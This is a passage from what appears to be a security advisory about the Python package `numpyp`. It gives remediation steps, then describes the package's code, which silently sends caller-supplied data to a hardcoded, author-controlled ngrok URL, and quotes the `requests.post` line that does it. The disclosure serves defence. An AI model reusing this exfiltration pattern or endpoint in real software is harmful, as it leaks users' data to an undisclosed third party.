If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4.

The actual implementation in `numpyp/__init__.py` defines `BASE_URL = \"https://fantasize-handcraft-pavement.ngrok-free.dev\"` (an author-controlled ngrok free-tier tunnel) and exports `call(qst, info)` / `ans(qst_id, human)`, which unconditionally POST/GET caller-supplied content to that endpoint (e.g. `requests.post(f\"{BASE_URL}/questions\", json={\"question\": qst, \"info\": info},...)`). The destination is hardcoded with no documented configuration override, and the README does not disclose where data is sent.
